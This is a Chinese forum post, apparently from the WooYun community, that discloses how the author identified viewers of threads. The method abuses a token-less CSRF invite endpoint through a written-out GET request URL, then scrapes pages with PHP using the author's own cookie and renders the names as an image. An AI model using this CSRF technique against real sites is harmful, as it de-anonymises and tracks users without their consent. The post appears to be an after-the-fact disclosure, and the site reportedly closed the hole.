这个帖子是公布思路和实现方式的。
本来测试三就是如题的这个东西,可惜测试二发表以后@xsser 就把那个功能模块关闭了,导致第三个测试没有出现。
那么接下来就是贴思路和代码的时间了。
第一个测试:
大概方法是使用PHP中的函数file_get_contents读取页面源代码,然后用正则取出需要的东西,用图片来输出,很简单的。
<?php
$url = 'http://zone.wooyun.org/content/'.intval($_GET[id]);
$opts = array (
'http' => array (
'method' => 'GET',
'header'=> "Cookie:这里取自己的Cookie\r\n" ,
)
);
$ctx = stream_context_create($opts);
$html = @file_get_contents($url,'',$ctx);//定义了header取源码
$html = htmlspecialchars($html);//做个转义
$parent="/Reply\(\'(.*)\'\)/i";//正则
preg_match_all($parent,$html,$arr);//取出
$q=array_unique(array_unique($arr[1]));//去重复
sort($q);//重新排序
print_r($q);//输出
?>
第二个测试:
这里有一个Csrf的利用。
先来讲讲这个吧。
隐藏了这样一个功能在Js中,无意中我翻看时翻到了,因为没有token的传入,比较显眼。代码如下:
function InviteToContent(id){
var users=$("#inviteusers").val();
if(users==""){
alert("请输入待邀请的用户");
}else{
$.get(root+"/index.php?do=action&act=invite",{"id":id,"typeStr":"content","users":users});
$(".close").click();
}
}
功能明显可以看出是邀请他人参与话题的。
也就是说,真正get这样请求就可以:
http://zone.wooyun.org/index.php?do=action&act=invite&id=[这里是贴id]&typeStr=content&users=[被邀请人]
然后在被邀请人的提醒页面就可以看到这样的源代码:
">[邀请人]</a> 邀请你参与 <a href="http://zone.wooyun.org/content/[这里是贴id]
看客们应该懂了,接下来跟第一个测试差不多,用PHP中的函数file_get_contents读取页面源代码,然后用正则取出需要的东西,用图片来输出。
可是这个“正则”难到了我。
测试一中有向大家提出问题寻找PHPer帮助写下正则,可惜没人喊。
纠结了一下午,终于有人帮忙解决了问题,本来写好的正则,是因为编码问题不能取到东西。
贴代码:
<?php
$url = 'http://zone.wooyun.org/index.php?do=user&act=remind';
$opts = array (
'http' => array (
'method' => 'GET',
'header'=> "Cookie:这里取自己的Cookie\r\n" ,
)
);
$ctx = stream_context_create($opts);
$html = @file_get_contents($url,'',$ctx);
$parent = "/>(.+)<\/a> 邀请你参与 <a href=\"http:\/\/zone.wooyun.org\/content\/".intval($_GET[id])."/iU";
preg_match_all($parent,$html,$arr);
$q=array_unique(array_unique($arr[1]));
sort($q);
print_r($q);
?>
各位一看就懂了,跟上例一样。 图片输出代码,来自百度:
<?php
/*
Photozero.net 改编自PHP参考文档
*/
function imgto($q){
//设置Header,如果输出图片不成功,请先暂时去掉这代码,查看错误信息
header("Content-type: image/png");
header("Cache-Control: no-cache");
//要输出的字
$zh_font = 'msyhbd.ttf';
$en_font = 'msyhbd.ttf';
//字库的文件名。建议中文字体和E文字体用不一样的,因为宋体、黑体字库里的英文实在不咋滴
//这里用的都是TTF字体。懒得上网找就到 C:\WINDOWS\Fonts 下,Copy几个字体到程序目录下就好了
// 创建一个真彩的图片背景,参数是 X长 ,Y宽。
$im = imagecreatetruecolor(200, 1000);
//或者可以调用已有的PNG图片等 : $im = imagecreatefrompng('background.png');
// 定义几个色彩
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
//填充背景为白色
imagefill($im, 0, 0, $white);
//将背景透明化
imagecolortransparent($im,$white);
//以上两行是创建透明图片的关键!
//很多人反应, imagecreatetruecolor创建后的图片,背景颜色是黑的,无论怎么修改都不能变成白色的
//我先将背景填充为白色,再做透明处理就可以了!在Firefox3和IE7下测试成功!
// 这是一个很简单的产生阴影的效果。
//先在原本要输出的位置的偏左下角一点点输出灰色的字体,接着再用黑色字体写上去就有阴影效果了
//下次再提供点别的花样~
//imagettftext($im, 20, 0, 11, 21, $grey, $en_font, $en_text);
// 写入字体
$num = count($q);
for($i = 0; $i < $num+2; $i++){
imagettftext($im, 12, 0, 5, ($i+1)*20, $black, $zh_font, $q[$i]);
}
imagepng($im);
imagedestroy($im);
// 不用说了,输出图片,然后清除缓存
}
//函数都是用PHP内置的,如果有不了解的请参考一下文档。
?>
只需要include以下然后把print_r改成imgto就OK了。
本来的测试三是这样想的:
从第二个例子取了看贴人然后再取回帖人,从看帖人数组中去掉回帖人数组的元素,再输出就是木JJ 的人们了。。。
看帖不回木JJ